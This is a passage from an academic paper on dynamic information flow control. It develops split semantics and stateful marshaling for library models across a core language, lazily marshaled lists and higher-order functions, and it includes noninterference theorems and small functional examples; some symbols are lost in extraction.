these libraries cannot be written in the language itself, but must be provided by
some other means such as a foreign function interface (e.g. [27] in Java, [34] in
Haskell and [30] in node.js) or via the execution environment.

Recently, there has been a growing interest in retrofitting libraries with
dynamic execution monitors to provide additional runtime checks. One promi-
nent example of this is monitors for secure information flow [1,3,15,17,18]. The
interest in information flow control lies in the realization that access control is
often not enough in cases when it is important what a program does with the
information it has access to [31]. As an example, when a user enters credit card
information into an application to perform a purchase, information flow control
can guarantee that the credit card information is only used for the purpose of
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enabling the purchase (i.e., by passing the information to the payment provider)
and is not being sent or gathered for illicit purposes.

Dynamic monitoring is similar to dynamic type checking, and works by aug-
menting the semantics of the language, with additional runtime information that
provides an abstract view of the execution and enables enforcement of the desired
properties. In the case of dynamic types, the additional information is a runtime
representation of the types of values, and in the case of information flow control
it is the security level.

In the presence of libraries written in another language, dynamic monitors
face two important challenges: (i) the library is not able to work with values in
the augmented semantics, and, more fundamentally, (ii) is not able to maintain
the abstract view of the execution. With respect to the first challenge, some kind
of marshaling must take place — this already occurs for the values of the lan-
guage, but must be extended to first remove any additional runtime information.
With respect to the second challenge, it is important that the removed runtime
information is kept, in order to be able to reestablish the augmentation, once
the library returns.

Thus, the challenges above translate to these pivotal questions:

(i) how should the runtime augmentation be removed when entities are passed
from the monitored program into the unmonitored library, and

(ii) how should the runtime augmentation be reinstated when entities are passed
from the unmonitored library to the monitored program.

On the surface, those questions may seem fairly straightforward, but prove
surprisingly involved in the presence of common programming language features,
such as structured data and higher-order functions.

In the work targeting secure information flow, one can identify two extremes
with respect to library models [1,3,6,15,17,18,20,28]. On one hand are the shal-
low models, essentially corresponding to providing static boundary types, and on
the other hand are the deep models, where the information flow inside the library
is modeled in detail, frequently requiring a reimplementation of the library in
the monitored semantics.

In JavaScript, already the standard API introduces information flow chal-
lenges. Consider, for instance, the following example, that makes use of the
standard JavaScript function Array.every which, given a predicate, returns
true if every element in the array on which every is called, is in the extension
of the predicate.

[1,2,3,0,4,5].every(function(elem) { return elem > 0; })
In both JSFlow [16,17] and FlowFox [13,14], accurate modeling of many library
functions, such as Array.every, requires hand-written, deep models. This is
both labor-intensive and hard to maintain, not scaling to models for a rich
set of libraries, as would be needed in a rich execution environment such as a
browser or node.js [24–26]. For this reason, JSFlow attempts at providing a way
of automatically wrapping libraries. However, JSFlow’s approach is somewhat ad
hoc and lacks formal underpinning. While for simple cases correctness is evident,
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it is unclear if this approach scales to more complex interactions with libraries
such as for promises [22], e.g., when functions are passed to and from the library.

Contribution. We investigate how to provide concise library models, in the set-
ting of dynamic information flow control, for a small functional language. We
present the development in a gradual way and investigate different programming
language constructs in isolation, as extensions of a common core language. The
modeling is such, that the results combine with relative ease. For space rea-
sons, we limit ourselves to the treatment of structured data and higher-order
functions. The main contributions of this paper are:

– a split semantics with stateful marshaling for a simple core;
– a split semantics with stateful marshaling for structured data in the form of

lists and the concept of lazy marshaling;
– a split semantics for higher-order functions that introduces the concept of

abstract names, enabling the connection between callbacks and label models.

The focus of this paper is on the stateful marshaling, leaving the label models
relatively simple. The presented model does, however, allow for more advanced
label models including (value) dependent models that harness the power coming
from the knowledge of runtime values. We discuss possible extensions beyond
the limitations of the provided label model language.

Outline. The rest of the paper is laid out as follows. Section 2 introduces
the core language and the notion of split semantics with stateful marshaling.
Section 3 investigates lists in terms of an extension to the core language and
introduces the notion of lazy marshaling. Section 4 investigates higher-order func-
tions in terms of an extension to the core language and introduces the notion
of abstract names. Finally, Sect. 5 discusses related work, and Sect. 6 discusses
future work and concludes.

2 Core Language C
We present syntax and split semantics with stateful marshaling for a small core
language. The notion of split semantics entails that a program is built up by
two distinct parts: (1) the monitored program executing a labeled information
flow aware semantics, and (2) the unmonitored library, executing an unlabeled
standard semantics. For simplicity, the two parts of the program share syntax
and semantics — the labeled semantics is an extension of the unlabeled. This is
to keep the exposition small and the value-level marshaling to a minimum and
is not a fundamental limitation of the approach.

2.1 Syntax

The syntax of the core language is defined as follows.

e ::= n | x | if e1 then e2 else e3 | let x = e1 in e2 | f e | flib e | e1 ⊕ e2



52 D. Hedin et al.

Let x denote a list of x, where [ ] is the empty list and · is the cons operator. The
top-level definitions, d ::= f x = e, are restricted to function definitions, and
function models, m ::= f :: ϕ → γ. A function model defines how labeled values
are marshaled to the unlabeled function, ϕ, and how the unlabeled return value
is marshaled back into the labeled world, γ, see below. All unlabeled functions
called from the labeled world must have a corresponding function model.

A program is a triple, (d, d, m), where the first component corresponds to
the monitored program, the second component corresponds to the unmonitored
library, and the third component is the library model consisting of function
models. Execution starts in the main function of the monitored program. In the
following, we refer to the monitored part of the program as the program, and
the unmonitored library as the library.

The bodies of functions are made up of expressions, consisting of integers n,
identifiers x and f (denoting functions), conditional branches, let bindings, func-
tion calls, library calls and binary operators ⊕. Library calls are not allowed in
the library part of the program.

2.2 Semantics

As indicated above, C has two semantics, one labeled and one unlabeled. To
distinguish between the two, without unnecessary notational burden, we use X̂
to denote an entity in the labeled semantics corresponding to X in the unlabeled
semantics.

Values. The labeled values, v̂, and unlabeled values, v, are defined as labeled
and unlabeled integers respectively. The labels, �, are taken from a two-point
upper semi-lattice L � H, where L denotes low (“public” when modeling confi-
dentiality or “trusted” when modeling integrity) and H denotes high (“secret”
when modeling confidentiality or “untrusted” when modeling integrity). While
we focus on confidentiality throughout the paper, information flow integrity can
be modeled dually [5].

v̂ ::= n� v ::= n

For labels let �1��2 denote the least upper bound of �1 and �2, and let v̂�2 = v�1��2

for v̂ = v�1 .

Stateful marshaling. A function model defines how to marshal values between
the program and the library in terms of the parameters and the return value, i.e.,
how to unlabel the parameters and label the result. Since the result is dependent
on the parameters, it follows that the label of the result must be dependent on
the labels of the parameters. For this reason, the removed labels must be stored
for the duration of the library call in such a way that they can be used when
relabeling the result. To achieve this, the unlabel process creates a model state1,
ξ : α → �, based on identifiers α, given by the unlabel model, ϕ. This model
1 Note that here, and in the following, for simplicity, we identify sets with the meta

variables ranging over them.
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state is used in the labeling process in the interpretation of the label model, γ.
The unlabel and label models follow the structure of the values, and are defined
as follows for the core language

ϕ ::= α γ ::= κ

where κ ::= α | κ1 � κ2 | � and the interpretation of κ in a model state ξ is
given by

�α�ξ =

{
L if ξ[α] is undefined
ξ[α] otherwise

���ξ = � �κ1 � κ2�ξ = �κ1�ξ � �κ2�ξ

From this, we define an unlabel operation, v� ↓ α, and a label operation, v ↑ξ κ,
as follows

v� ↓ α = (v, [α �→ �]) v ↑ξ κ = v[[κ]]ξ

The label operation takes an unlabeled value, v, a label model γ = κ and a model
state, ξ and labels the value in accordance with the interpretation of the label
model in the model state. The unlabel operation takes a labeled value, v̂, and an
unlabel model, ϕ = α, and returns an unlabeled value and a model state, ξ. The
unlabel operation is lifted to sequences of values by chaining, in the following
way, where 	 denotes disjoint union.

[ ] ↓ [ ] = ([ ], [ ])
v̂ · v̂ ↓ ϕ · ϕ = (v · v, ξ1 	 ξ2) where v̂ ↓ ϕ = (v, ξ1) and v̂ ↓ ϕ = (v, ξ2)

Unlabeled semantics. Let the unlabeled variable environments, δ : x → v, be
maps from identifiers to values, and let Δ : f → (x, e) be a map from identifiers
to function definitions representing the unmonitored library. For simplicity we
leave Δ implicit, since it is unmodified by the execution.

The unlabeled semantics, defined in Fig. 1, is of the form δ |= e � v, read,
expression e evaluates to v in the unlabeled variable environment δ. For space
reasons, since the unlabeled semantics is entirely standard, it is not explained
further.

Fig. 1. Unlabeled semantics
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Fig. 2. Labeled semantics

Labeled semantics. Let the labeled variable environments, δ̂ : x → v̂, be maps
from identifiers to labeled values, let Δ̂ : f → (x, e) be a map from identifiers
to function definitions representing the monitored program, and let Λ : f →
(ϕ, γ) represent the library model. The labeled semantics, defined in Fig. 2, is
of the form δ̂ |= e → v̂, read, expression e evaluates to v̂ in the labeled variable
environment δ̂. For space reasons, only the rules that differ from the unlabeled
semantics in a non-standard way are included. The remaining rules propagate
and compute with labels to reflect the dynamic information flow of the program
and can be found in the full version of the paper [19]. Similarly to the unlabeled
semantics we leave Δ, Δ̂, and Λ implicit.

Of the rules for the core language, lib is the only non-standard. It corre-
sponds to the situation, where an unmonitored library function is called from
the monitored semantics. Execution proceeds as follows. First, the function def-
inition, (x, ef ), and the function model, (ϕ, γ), are found, then the parameters,
e, are evaluated to labeled values, v̂. Before being passed to the library, the
labeled values are first unlabeled in accordance with the function model, result-
ing in unlabeled values, v, and a model state, ξ. The body of the library function
is evaluated in an environment [x �→ v], where the formal parameters of the
function maps to the corresponding arguments, and the result, v, is labeled in
accordance with the function model, interpreted in the model state, ξ, produced
by the previous unlabeling.

2.3 Correctness

We prove correctness under the assumption that the library model correctly
models the library, i.e., that every modeled function in the library respects its
function model. Semantically, we express this in terms of the execution of the
library, the unlabeling of the parameters and the labeling of the result.

Definition 1 (Correctness of the library models). A library model cor-
rectly models a library if every function, f , in the library, Δ[f ] = (x, e), respects
the associated function model, Λ[f ] = (ϕ, γ), if present.

∀f . Λ[f ] = (ϕ, γ) ∧ Δ[f ] = (x, e)
∧ v̂ � v̂′ ∧ v̂ ↓ ϕ = (v, ξ) ∧ v̂′ ↓ ϕ = (v′, ξ)

∧ [x �→ v] |= e � v ∧ [x �→ v′] |= e � v′ ⇒ v ↑ξ γ � v′ ↑ξ γ
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As is standard, we prove noninterference as the preservation of a low-
equivalence relation under execution, defined as follows for values and labeled
variable environments.

nL � nL nH
1 � nH

2

dom(δ̂) = dom(δ̂′) ∀x ∈ dom(δ̂) . δ̂[x] � δ̂′[x]

δ̂ � δ̂′

Under the assumption that Definition 1 holds, we can prove noninterference
for labeled execution.

Theorem 1 (Noninterference for labeled execution)

δ̂ � δ̂′ ∧ δ̂ |= e → v̂ ∧ δ̂′ |= e → v̂′ ⇒ v̂ � v̂′

Proof. By induction on the height of the derivation tree δ̂ |= e → v̂. The proof
of this and the other theorems are reported in the full version of this paper [19].

2.4 Examples

To illustrate how C can be used, we give two examples. The first example is the
identity function.

id :: α → α
id x = x

The function model for id expresses that the label of the result should be the
label of the parameter. This is computed by storing the label under the name α
in the model state, when id is called, and then interpreting the α in the resulting
model state, when the function returns.

The second example is the min function, which illustrates how more than one
label can be stored into the model state.

min :: α1 α2 → α1 � α2

min x y = if x < y then x else y

Since the result of the min function is dependent on both parameters, the result
should be the least upper bound of the labels of the parameters. To achieve this,
both labels are stored in the model state on the call; the first label as α1 and the
second as α2. The function model uses the label expression α1 �α2, which, when
interpreted in the model state results in the least upper bound of the labels.

2.5 A Note on the Policy Language

While we, in this work, strive to keep the model language simple, to enable us
to study the processes of labeling and unlabeling vis-á-vis different language
constructs, it is worthwhile to mention a few possible avenues for extensions.
First, consider the following example, where the library function f calls the
library function min. Instead of forcing the model of f to repeat the model of
min it would be possible to add some form of model application, where the model
of min is instantiated with the labels from f.
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f :: α1 α2 → min α1 α2

f x y = min x y

This allows for a systematic construction of more complex models (nothing pre-
vents us from introducing models that don’t correspond to library functions).

Further, since the models are evaluated at runtime, they could be extended to
have access to the values of the parameters in addition to the labels. This would
allow for dependent models, where different labels are computed depending on the
value of the parameters. Consider, for instance, the following library function.

f :: α1 α2 → x?α1 � α2 : α1

f x y = if x then y else 0

In this example the model uses the value of the parameter (stored in the model
state under the parameter name) in order to select between two labels. In a
language more complex than C, those additions provide important expressiveness
to the model language.

3 Lists L
Structured data pose interesting challenges in relation to marshaling between
the monitored and unmonitored semantics. While the unlabel and label processes
must follow the structure of the values passed, structured data offer more freedom
in the design of the unlabel and label models. In addition, fundamental questions
pertaining to the time and extent of labeling and unlabeling arise. When passing
a labeled list to the library, should the list be marshaled in a strict or a lazy
fashion? For library functions that only use parts of the passed data, strict
marshaling can be both expensive and potentially imprecise, in particular when
large object graphs are passed to or from the library (cf., getting an object from
the DOM, where strict marshaling would be prohibitively expensive).

For this reason, we explore the notion of lazy marshaling. The idea is to
marshal only when the opposite program part actually makes use of the data
that has been passed. Unlabeling (or labeling in the dual setting) occurs only
when the library (dually, program) actually uses the data, and only the part of
the data that was used is unlabeled. This requires us to be able to pass data
in such a manner that we can trap any interaction and unlabel or relabel on
the fly. To this end, we opt for a solution that is inspired by the Proxy objects
of JavaScript [23] but cast in terms of lists, and use a representation of lists
that allow for proxying. The approach is general in the sense that it scales well
to other types of structural data and that it can be implemented in different
ways, e.g., proxies and accessor methods, both available in a range of languages,
including JavaScript, Python and Objective C. One limitation of the approach
is that some form of programming language support, that allows for trapping
the read and write interaction of the library with given objects, is needed. If
such support is not available, one can always resort to strict marshaling, which
corresponds to a relatively immediate lifting of the label and unlabel functions of
the core language to structured data. Most of the ideas presented in this paper
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should carry over to strict marshaling with little effort at the cost of efficiency
and precision of the marshaling.

3.1 Syntax

From a syntactic standpoint the extension of C to support lists is small; the
empty list, [ ], the cons operation, :, and operations for getting the head, head ,
and tail, tail , of lists are added.

e ::= . . . | [ ] | e : e | head e | tail e

3.2 Semantics

In JavaScript, a Proxy is an object that forwards all interactions to a set of user
defined functions, provided at the creation time of the Proxy. Once the Proxy
object has been created, it can be interacted with like a normal object. Thus,
e.g., by defining a function corresponding to get, all property reads of the proxy
object can be trapped and modified — the return value of the function will be the
result of the read. The fundamental property that makes Proxies suitable for lazy
marshaling is that they allow the functions to modify all possible interactions
with the object.

Unlike the strict marshaling of the core language, where the model state
is computed before entering the library, the introduction of lazy marshaling
requires the model state to be updated during the execution of the library func-
tion (in case the function interacts with the passed data). In a practical setting,
the monitored program and the unmonitored library would share memory (they
are different parts of the same program). This means that it is easy to maintain
the model state in the presence of lazy marshaling. In an operational semantics,
mutable state is modeled by threading the state through the evaluation.

Values. We model proxyable lists as pairs of functions (Ĥ, T̂ ) and (H,T ) respec-
tively.

v̂ ::= n� | (Ĥ, T̂ )� | [ ]� v ::= n | (H,T ) | [ ]

The idea is that Ĥ and H return the head of the list, and T̂ and T return the
tail (which can be the empty list). This representation allows for an elegant lazy
marshaling of lists, when they are passed between the program and the library,
by wrapping the head and tail functions. The actual marshaling takes place only
when the function is called, i.e., when the respective value is read.

Stateful marshaling. In order to support unlabeling and labeling of lists we
must extend the unlabel and label models. Since we are mainly interested in the
stateful marshaling, we use a simple extension that differentiates between the
labels of the values and the label of the structure of the lists [18]. See Sect. 3.5
for a discussion on possible extensions.

ϕ ::= α | [ϕ]α γ ::= κ | [γ]κ
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The intuition for unlabel models is that, whenever a value is read from the list,
the model state is updated accordingly. This means that the model state can
be changed during the execution of the library, which must be reflected in the
unlabeled semantics. The same is not true for the labeled semantics; any value
passed from the unlabeled world will be labeled with respect to the model state at
the time of return, even if the labeling is lazy. This leads to a seeming asymmetry
in the semantics reflected by the definition of the head and tail functions for lists.

Ĥ : () → v̂ T̂ : () → v̂ H : ξ → (ξ, v) T : ξ → (ξ, v)

The way to interpret this asymmetry is not that the unlabeled semantics has to
be changed to enable marshaling — as described above, mutable state is modeled
by threading the state through the computation. Rather, the asymmetry arises
from the fact that the model state is only important for the evaluation of library
functions called from the monitored semantics.

With respect to the unlabel and label operations, they must be updated to
handle the extended unlabel and label models.

[ ]� ↓ [ϕ]α = ([ ], [α �→ �])
(Ĥ, T̂ )� ↓ [ϕ]α = ((unlabel(Ĥ, ϕ),unlabel(T̂ , [ϕ]α)), [α �→ �])

The unlabeling of lists updates the structure label and wraps the head and tail
of the list (if present) with unlabeling wrappers, that unlabel with respect to the
unlabel model. On access the wrapper receives the model state (of the current
call to the library), after which it uses Ĥ to get the labeled value, and ϕ to
unlabel. The unlabeled value is returned together with an updated model state,
where ξ � ξ′ is defined as the union of ξ and ξ′ under least upper bound of
shared mappings. The wrapper for the tail of the list works analogously, but
with respect to the full unlabel model of the list [ϕ]α.

unlabel(Ĥ, ϕ) = λξ . (ξ � ξ′, v),
where Ĥ() = v̂ and v̂ ↓ ϕ = (v, ξ′)

unlabel(T̂ , [ϕ]α) = λξ . (ξ � ξ′, v),
where T̂ () = v̂ and v̂ ↓ [ϕ]α = (v, ξ′)

The labeling of lists is similar, with the difference that the labeling is done
with respect to the final model state. Once evaluation has returned, nothing can
change the model state corresponding to the call.

[ ] ↑ξ [γ]κ = [ ]�κ�ξ

(H,T ) ↑ξ [γ]κ = (label(H, ξ, γ), label(T, ξ, [γ]κ))�κ�ξ

The wrappers are given the model state, ξ, and the label model, γ. On access
the wrapper uses H to get the unlabeled value, v. Notice, how this may actually
extend the model state to ξ′ (it could be the case that H is an unlabel wrapper)
and that ξ′ is used together with γ to compute a label for v. This new model state
does not have to be propagated, though. If the value was used by the unlabeled
world in the creation of the tail of the list its label is already included in ξ.

The relabeling of the tail of the list works analogously, but with respect to
the label model of the list [γ]κ. Any extension of the model state is passed to
the wrapping of the tail.
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label(H, ξ, γ) = λ() . v̂,
where H(ξ) = (ξ′, v) and v ↑ξ′ γ = v̂

label(T, ξ, [γ]κ) = λ() . v̂,
where T (ξ) = (ξ′, v) and v ↑ξ′ [γ]κ = v̂

Unlabeled and labeled semantics. The additions to the labeled semantics, found
in Fig. 3, are straightforward given the above modeling. Let lcons(v̂1, v̂2) =
(λ() . v̂1, λ() . v̂2) be the creation of labeled cons cells2, used in the evalua-
tion of the : operator (cons). The evaluation of head and tail (head, and tail)
uses the head and the tail function respectively to get the value. Notice, how the
model state may be modified during the execution of the library, and how the
return value is labeled in the modified state (lib).

Fig. 3. Labeled semantics of lists

With respect to the unlabeled semantic, the entire semantics must be lifted
to thread the model state, δ |= 〈ξ1, e〉 � 〈ξ2, v〉. This modification is straight-
forward and can be found, along with the additions to the unlabeled semantics,
in Fig. 4.This modification is straightforward and omitted for space reasons but
can be found in the full version [19]. The additions to the unlabeled semantics
are found in Fig. 4. Let ucons(v1, v2) = (λξ . (ξ, v1), λξ . (ξ, v2)) be the creation
of unlabeled cons cells, used in the evaluation of the : operator (cons). The
evaluation of head and tail (head, and tail) uses the head and tail function
respectively to get the value. Notice that the model state is threaded in this case
— this is what allows for the lazy unlabeling. In case the head or tail function
is an unlabel wrapper, the state will be updated.

3.3 Correctness

Definition 2 (Correctness of the library models). A library model cor-
rectly models a library if every function, f , in the library, Δ[f ] = (x, e), respects
the associated function model, Λ[f ] = (ϕ, γ), if present. Notice that, even though
the final model states may differ (due to different interactions with marshaled

2 The term originates from Lisp. In addition, cons is used as the name for the list-
forming operator in many functional languages.
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Fig. 4. Unlabeled semantics of lists

labeled values in the two runs), a correct library model must ensure that the label
is independent on the differences and that the values are low-equivalent with
respect to the labeling.

∀f . Λ[f ] = (ϕ, γ) ∧ Δ[f ] = (x, e)
∧ v̂ � v̂′ ∧ v̂ ↓ ϕ = (v, ξ1) ∧ v̂′ ↓ ϕ = (v′, ξ1)

∧ [x �→ v] |= 〈ξ1, e〉 � 〈ξ2, v〉 ∧ [x �→ v′] |= 〈ξ1, e〉 � 〈ξ′
2, v

′〉 ⇒
v ↑ξ2 γ � v′ ↑ξ′

2
γ

As is standard we prove noninterference as the preservation of a low-
equivalence relation under execution, extended from Sect. 2.3 with lists as fol-
lows.

[ ]L � [ ]L vH
1 � vH

2

Ĥ() � Ĥ ′() T̂ () � T̂ ′()

(Ĥ, T̂ )L � (Ĥ ′, T̂ ′)L

Under the assumption that Definition 2 holds, we can prove noninterference
for labeled execution.

Theorem 2 (Noninterference for labeled execution)

δ̂ � δ̂′ ∧ δ̂ |= e → v̂ ∧ δ̂′ |= e → v̂′ ⇒ v̂ � v̂′

3.4 Examples

We present a selection of examples to illustrate different aspects of our models.
Consider first the length function, that recursively computes the length of the
given list.

length :: [α1]α2 → α2

length l = if l == [] then 0 else 1 + length (tail l)

The function traverses the list until the empty list is found without looking at
the elements. During this traversal, the security labels corresponding to the cons
cells are accumulated into the label variable α2, which is used to label the result.
This corresponds precisely to the structure security label of lists in [18]. It is,
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thus, possible to have functions that are dependent on the structure of a list,
but not the content.

The other way, however, is not possible. Getting an element from a list always
reveals information about the structure of the list. Thus, the sum function, which
sums the element of the list must also take the labels of the cons cells into
account.

sum :: [α1]α2 → α1 � α2

sum l = if l == [] then 0 else head l + sum (tail l)

Consider the function replicate, that creates a list by replicating a given
element, x, n times. The length of the list is given by the label of n and the
label of the elements by the label of x. Notice the limitation in the current
label models. By giving the second argument the unlabel model α2, we force
replicate to take integers — lists cannot be unlabeled by α2. In such cases,
polymorphic models are needed, see below in Sect. 3.5.

replicate :: α1 α2 → [α2]α1

replicate n x = if n == 0 then []
else x : replicate (n - 1) x

Related to both sum and replicate consider the function take, that takes
an integer, n, and a list, l, and returns the n first elements of l. Clearly, the
length of the list is dependent on both the label of n, α1, and the structure of
the list α3. Notice, that the label of the structure of the list is accumulated into
α3 as the function traverses the list. This means that, given a list, where the first
k cons cells are public, followed by some number of secret cons cells, take will
yield lists with public structure, as long as no more than k elements are taken.
Once more than k elements are taken, however, the labels of all cons cells will
be secret. Unfortunately, this is the same for the labels of the values, which are
all joined into α2, see Sect. 3.5.

take :: α1 [α2]α3 → [α2]α1�α3

take n l = if l == [] || n == 0 then []
else head l : take (n - 1) (tail l)

Finally, consider the function takeUntilZero, that takes an unknown num-
ber of elements from the list. In this function, the length of the list is dependent
on the labels of the values of the list, as well as the labels of the traversed cons
cells. As before, only the labels of the cons cells that actually take part in the
computation are part of the accumulated label for α2.

takeUntilZero :: [α1]α2 → [α1]α1�α2

takeUntilZero l = if l == [] || head l == 0 then []

else head l : takeUntilZero (tail l)

3.5 A Note on the Policy Language

With respect to the policy language, there are a number of possible paths to
explore. First, consider a form of polymorphic models, where we add variables,
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x, to the policy language. Unlike α, the intention is that x can map to structured
labels (potentially in combination with the values, see Sect. 2.5). This would
enable the following.

replicate :: α x → [x]α
replicate n x = if n == 0 then []

else x : replicate (n - 1) x

where x would allow any type of value to be repeated. It is also possible to
envision other operations on such variables, such as @x, the computation of the
least upper bound of the labels reachable from x.

Additionally, it is natural to extend the model language with some form of
pattern matching on lists, as follows.

f :: (α1 : α2 : [α3]α4) → α3 � α4

f ls = sum (drop 2 ls)

In this case, the first two elements are dropped before the remainder is summed
together. An interesting avenue of research is to explore this in combination with
dependent models and richer models for building structured data.

4 Higher-Order Functions F
After having investigated how to pass structured and unstructured data between
the program and the library, we turn the attention to the passing of computa-
tions, in terms of higher-order functions. The passing of functions between pro-
grams and libraries is commonplace, used in the presence of, e.g., asynchronous
operations. Examples of this are callbacks, where functions are passed to the
library, allowing it to inform the program of certain events, and promises [22],
that rely on the ability to pass functions in both directions.

4.1 Syntax

To investigate higher-order functions, we extend the core language with a func-
tion expression, fun x ⇒ e and change function calls to a computed call target.
The introduction of higher-order functions subsumes top-level function defini-
tions. Instead, we allow for top-level let declarations, let x = e, and correspond-
ing model declarations, x :: γ.

e ::= . . . | e e | fun x ⇒ e d ::= let x = e m ::=x :: γ

4.2 Semantics

Fundamentally, we use the same approach as with lists and represent closures as
functions instead of structured values. This allows us to marshal functions from
the labeled world to the unlabeled world and back without the need to distinguish
between the origin of the values in the respective semantics. Intuitively, this
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corresponds to using functions as the calling convention and mimics what is
actually in a practical implementation3.

Following the development of Sect. 3, we add functional closures to the values
as follows.

v̂ ::= n� | F̂ � v ::= n | F

where labeled closures, F̂ , take sequences of labeled values to labeled values and
unlabeled closures, F , also thread a model state

F̂ : v̂ → v̂ F : (ξ,v) → (ξ, v)

With respect to the asymmetry of the semantics, the intuition is the same as
before: the model state resides in shared memory, but, since the labeled semantics
never modifies the model state we do not need to thread the model state through
the labeled semantics.

Stateful marshaling. Conceptually, any function defined in the library that can
be called from the monitored program, whether passed as a closure or called,
must be given a label model, that defines how to label the closure as a value,
how to unlabel the parameters and label the result (c.f., the function models
in Sect. 2). The question is, how to unlabel a closure, when passing it from the
monitored program to the library. Intuitively, the unlabel model should be the
dual of the label model, i.e., unlabel the closure as a value, label the parameters
and unlabel the result. The problem is, that both unlabeling and labeling is
performed in relation to a model state, which cannot be assumed to be the same
as when the closure was passed as a parameter (it could be an extension — the
passed closure could be called from an inner function). For this reason, we cannot
tie an unlabel model to the closure at the point of unlabeling; it must be provided
at the point of call. To be able to connect closures to calls, closures are tagged
with a provided abstract identifier, π, when unlabeled. This abstract identifier
is used in the label models for library functions to connect called closures with
call models that express how to label the parameters and unlabel the result in
the model state of the caller.

ϕ ::= α | πα γ ::= κ | (ϕ → γ, ζ)κ ζ ::= π γ → ϕ

Unlabel models for labeled closures, πα, provide both abstract identifiers, π,
and label variables, α, while the label models of unlabeled closures, (ϕ → γ, ζ)κ,
contain how to label the closure as a value, κ, how to unlabel the parameters,
ϕ, how to label the result, γ, and how to label calls to callbacks, ζ. These
call models, ζ, tie abstract identifiers, π, to call models, i.e., how to label the
parameters, γ, and how to unlabel the result, ϕ. Linked by the abstract identifier,
the unlabel model for labeled closures together with the call models can be seen
as duals to the label models for unlabeled closures.

3 In a practical implementation, the program and the library would use the calling
convention of the computer — regardless of the implementation language of the two.
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Unlabeling of labeled closures is similar to unlabeling of values and lists,
and places an unlabel wrapper around the labeled closure. The unlabel wrapper
is, additionally, given the abstract identifier, π, used to tie future calls to the
corresponding call models.

v� ↓ α = (v, ξ[α �→ �]) F̂ � ↓ πα = (unlabel(F̂ �, π), [α �→ �])

The unlabel wrapper becomes an unlabeled closure, that takes a model state, ξ,
and a sequence of unlabeled values, v, and finds the call model γ → ϕ corre-
sponding to the abstract identifier, π. Thereafter, γ is used to label the values,
which are passed to the labeled closure, F̂ , to get a labeled value, v̂. The labeled
value is unlabeled using ϕ, which produces an unlabeled value and an update to
the model state, ξ′. The result of the call to the wrapper is an updated model
state and the unlabeled value. Notice how the label of the closure � is used to
raise the returned value before the unlabeling.

unlabel(F̂ �, π) = λ(ξ,v) . (ξ 	 ξ′, v),
where ξ[π] = γ → ϕ and F̂ (v ↑ξ γ) = v̂ and v̂� ↓ ϕ = (v, ξ′)

Labeling of unlabeled closures places a label wrapper around the closure. The
label wrapper is additionally given the model state, ξ, how to unlabel the para-
meters, ϕ, how to label return value, γ, and the call models, ζ.

v ↑ξ κ = v�κ�ξ F ↑ξ (ϕ → γ, ζ)κ = label(F, ξ,ϕ → γ, ζ)�κ�ξ

The label wrapper becomes a labeled closure, that takes a sequence of labeled
values, v̂, unlabels the value producing a sequence of values, v, and an update
to the model state, ξ′. The updated model state is extended with the call models
of the function (replacing the previously defined), producing a new model state
ξ2 by threading

�π κ → ϕ�ξ = ξ[π �→ (κ → ϕ)]

through the sequence ζ. The produced model state is used in the execution of the
unlabeled closure, F , together with the unlabeled values producing an unlabeled
value, v, and the final model state, ξ3. The result is the labeled value v̂, created
by labeling v with respect to γ and the final model state.

label(F, ξ,ϕ → γ, ζ) = λv̂ . v̂,
where v̂ ↓ ϕ = (v, ξ′) and �ζ�ξ�ξ′ = ξ2

and F (ξ2,v) = (ξ3, v) and v ↑ξ3 γ = v̂

Labeled semantics. The labeled semantics is mostly unaffected by the extension,
apart from the rule for higher-order functions (fun), the rule for function call
(app) and the rule for library call (lib). The modified rules are found in Fig. 5
and make use of closure creation, lclos, defined as follows.

lclos(δ̂,x, e) = λv̂ . v̂,whereδ̂[x �→ v̂] |= e → v̂
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Fig. 5. Labeled semantics for higher-order functions

In the semantics δ̂0, and δ0 are created by evaluating the top levels of the
labeled and the unlabeled world, respectively. This creates all top level closures
used in function and library calls. Similarly, ξ0 is created from the model defin-
itions of the library, and is used as the initial model state.

Function call (app) evaluates the function expression to a closure and the
parameters to a sequence of labeled values, v̂. The closure is called by supplying
the labeled values and the result is returned, but with the label raised to the
label of the closure. The library call has been replaced with a rule that lifts an
unlabeled closure to the labeled world (lib). This is done by looking up the unla-
beled closure in the initial environment of the library δ0, and the corresponding
function model in the initial model state ξ0. The labeled (wrapped) closure is
then returned as the result. Thus, in line with the intuition of using functions as
the calling convention, functions in the program and in the library are translated
to functions that are called in the same manner in the function call rule.

Unlabeled semantics. In the unlabeled semantics, a rule for higher-order func-
tions (fun) has been added and the rule for function application (app) has been
changed. The modified rules are found in Fig. 6 and are analogous with the
changes made to the labeled semantics, including the use of closure creation
defined as follows.

uclos(δ,x, e) = λ(ξ1,v) . (ξ2, v),where δ[x �→ v] |= 〈ξ1, e〉 → 〈ξ2, v〉

4.3 Correctness

We prove correctness under the assumption that the library model correctly
models the library.

Fig. 6. Unlabeled semantics for higher-order functions
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Definition 3 (Correctness of the library models). A library model cor-
rectly models a library if every closure, f , in the library, δ0[f ] = F , respects the
associated function model, ξ0[f ] = (ϕ → γ, ζ)κ, if present.

∀f . ξ0[f ] = (ϕ → γ, ζ)κ ∧ δ0[f ] = F

∧ v̂ � v̂′ ∧ v̂ ↓ ϕ = (v, ξ1) ∧ v̂′ ↓ ϕ = (v′, ξ1) ∧ �ζ�ξ1 = ξ2∧
F (ξ2,v) = (ξ3, v) ∧ F (ξ2,v

′) = (ξ′
3, v

′)∧ ⇒ v ↑ξ3 γ � v′ ↑ξ′
3

γ

As is standard we prove noninterference as the preservation of a low-
equivalence relation under execution, extended from Sect. 2.3 with higher-order
functions as follows.

vH
1 � vH

2

∀v̂, v̂′ . v̂ � v̂′ ⇒ F̂ (v̂) � F̂ ′(v̂′)

F̂L � F̂ ′L

Under Definition 3 holds, we can prove noninterference for labeled execution.

Theorem 3 (Noninterference for labeled execution)

δ̂ � δ̂′ ∧ δ̂ |= e → v̂ ∧ δ̂′ |= e → v̂′ ⇒ v̂ � v̂′

4.4 Examples

To illustrate models for higher-order functions we consider three examples. In
the examples, the library top-level contains a let with a higher-order function,
which is paired with a function model. Before the program is run the top-level let
bindings in the library and the unmonitored program (in that order) is evaluated
to values. As illustrated in the second example, this means that execution no
longer needs to start in a predefined function. Instead, computation can be
started from any of the let bindings that do not produce closures.

The first example takes a callback and immediately calls it with a constant,
and the associated function model expresses that the function takes a closure,
which will be unlabeled as α1 and associated with the abstract name x (nothing
prevents us from using the same name as the parameter). Further, the closure
is called with a public parameter, and the result will be unlabeled as α2, which
is also the label of the result of the function.

